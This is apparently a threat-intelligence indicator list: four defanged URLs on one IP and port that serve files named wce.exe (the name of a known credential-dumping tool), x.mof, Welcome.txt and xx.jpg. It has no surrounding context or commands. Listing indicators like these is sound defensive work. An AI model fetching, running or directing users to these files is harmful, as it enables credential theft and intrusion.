hxxp://124.16.146.185:9000/wce.exe hxxp://124.16.146.185:9000/Welcome.txt hxxp://124.16.146.185:9000/x.mof hxxp://124.16.146.185:9000/xx.jpg